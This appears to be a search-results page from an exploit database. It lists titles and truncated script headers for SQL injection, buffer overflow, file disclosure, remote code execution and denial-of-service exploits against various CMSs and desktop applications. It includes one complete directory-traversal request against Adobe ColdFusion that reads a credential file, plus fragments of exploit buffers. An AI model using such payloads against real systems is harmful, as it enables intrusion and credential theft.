1333 matches found
Peel E-Commerce / Shopping SQL Injection
!/usr/bin/python This was written for educational purpose and pentest only. Use it at your own risk. Author will be not responsible for any damage! !!! Special greetz for my friend sinner01 !!! Toolname : peelinject.py Coder : baltazar a.k.a b4ltazar Version : 0.1 greetz for d3hydr8, rsauron,...
JAKCMS <= v2.01 RC1 Blind SQL Injection Exploit
Exploit for php platform in category web applications !/usr/bin/python jakCMS = v2.01 RC1 Blind SQL Injection Exploit Understanding: The parameters 'JAKCOOKIENAME' and 'JAKCOOKIEPASS' are parsed via cookies to the application and are unchecked for malicious characters. The contents of these...
Lingxia I.C.E CMS - Blind SQL Injection
!/usr/bin/python ICE CMS Blind SQLi 0day. mrme@pluto ice$ python icecold.py -p localhost:8080 -t 10.3.100.25:8500 -d /ice/ | ---------------------------------------------------- | | Lingxia I.C.E CMS Remote Blind SQL Injection Exploit | | by mrme - net-ninja.net --------------------------- | +...
AOL 9.5 .rtx Local Buffer Overflow
!/usr/bin/python Bug : AOL 9.5 rtx Local Buffer Overflow Exploit by sup3r Tested on : XP SP3 header1 = "\x3c\x48\x54\x4d\x4c\x3e\x3c\x46\x4f\x4e\x54\x20\x20\x53\x49\x5a" "\x45\x3d\x32\x20\x50\x54\x53\x49\x5a\x45\x3d\x31\x30\x20\x46\x41"...
Fedora Update for chm2pdf FEDORA-2011-0467
Check for the Version of chm2pdf OpenVAS Vulnerability Test Fedora Update for chm2pdf FEDORA-2011-0467 Authors: System Generated Check Copyright: Copyright c 2011 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under the...
Fedora Update for chm2pdf FEDORA-2011-0454
Check for the Version of chm2pdf OpenVAS Vulnerability Test Fedora Update for chm2pdf FEDORA-2011-0454 Authors: System Generated Check Copyright: Copyright c 2011 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under the...
MeshCMS 3.5 - Remote Code Execution
!/usr/bin/python MeshCMS v3.5 remote code execution exploit Environment: Tomcat 7.02/ubuntu 10.04 1 details: There is a add member/editor/admin CSRF vulnerability in this CMS which is very clean for an attacker. The admin will not be told a user has been added and will land into the admin console...
Alice 2.2 Arbitrary Code Execution Exploit
Exploit for windows platform in category local exploits ========================================== Alice 2.2 Arbitrary Code Execution Exploit ========================================== Title: Alice 2.2 Arbitrary Code Execution Exploit Date: Dec 5, 2010 Author: Rew Email: rew splat leethax.info...
Alice 2.2 - Arbitrary Code Execution
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Title: Alice 2.2 Arbitrary Code Execution Exploit Date: Dec 5, 2010 Author: Rew Email: rew splat leethax.info Link: http://alice.org/index.php Version: 2.2 Windows Tested on: WinXP CVE: NA 0day This was a fun one to exploit. Let me explain... Alice...
Foxit Reader 4.1.1 Stack Overflow
!/usr/bin/python preamble =...
Cilem Haber 1.4.4 Database Disclosure
!/usr/bin/env python -- coding:cp1254 -- ''' Title : Cilem Haber v1.4.4 Tr Database Disclosure Exploit .py Down. Script : http://www.aspindir.com/indir.asp?id=3287&sIslem=%DDndir Proof : http://img718.imageshack.us/img718/7993/cilem.jpg Tested : Windows XP Professional sp3 Author : ZoRLu /...
Bka Haber 1.0 File Disclosure
!/usr/bin/env python -- coding:cp1254 -- ''' 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 + Site :...
Adobe ColdFusion Directory Traversal Vulnerability
No description provided by source. Working GET request courtesy of carnal0wnage: http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en LLsecurity added another admin page filename: "/CFIDE/administrator/enter.cfm" !/usr/bin/pytho...
Webspell wCMS-Clanscript4.01.02net - static Blind SQL Injection
Webspell wCMS-Clanscript4.01.02net - static Blind SQL Injection ----------------------------Information------------------------------------------------ +Autor : Easy Laster +ICQ : 11-051-551 +Date : 29.09.2010 +Script : Webspell wCMS-Clanscript4.01.02net= static&static Blind SQL Injection Exploit...
Honestech VHS To DVD 3.0.30 Deluxe Buffer Overflow
!/usr/bin/python Exploit Title: Honestech VHS to DVD \r\n\ \r\n\ MAINDLG\r\n\ PAGE=0\r\n\ \r\n\ AVICODEC\r\n\ VIDEOCODEC=DivX 6.8.5 Codec 2 Logical CPUs\r\n\ AUDIOCODEC=MPEG Layer-3\r\n\ \r\n\ WMVINFO\r\n\ TITLE= \r\n\ AUTHOR= \r\n\ COPYRIGHT= \r\n\ DESCRIPTION= \r\n\ \r\n\ CAPTUREINFO\r\n...
ASPired2Count File Disclosure Exploit (.py)
Exploit for asp platform in category web applications =========================================== ASPired2Count File Disclosure Exploit .py =========================================== !/usr/bin/env python -- coding:cp1254 -- ''' The Net Guys ASPired2Count File Disclosure Exploit .py its not...
Linux Kernel 2.6.33.3 - SCTP INIT Remote Denial of Service
From: http://jon.oberheide.org/files/sctp-boom.py !/usr/bin/env python ''' sctp-boom.py Linux Kernel http://jon.oberheide.org Information: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1173 The sctpprocessunkparam function in net/sctp/smmakechunk.c in the Linux kernel 2.6.33.3 and earlie...
MJB Data (gallery.php id) SQL Injection Exploit (.py)
Exploit for php platform in category web applications ===================================================== MJB Data gallery.php id SQL Injection Exploit .py ===================================================== !/usr/bin/env python -- coding:cp1254 -- MJB Data gallery.php id SQL Injection Exploi...
Esa V 2.0 (kategori.php Kategori_x) SQL Injection Exploit (.py)
Exploit for php platform in category web applications =============================================================== Esa V 2.0 kategori.php Kategorix SQL Injection Exploit .py =============================================================== !/usr/bin/env python -- coding:cp1254 -- Esa V 2.0...
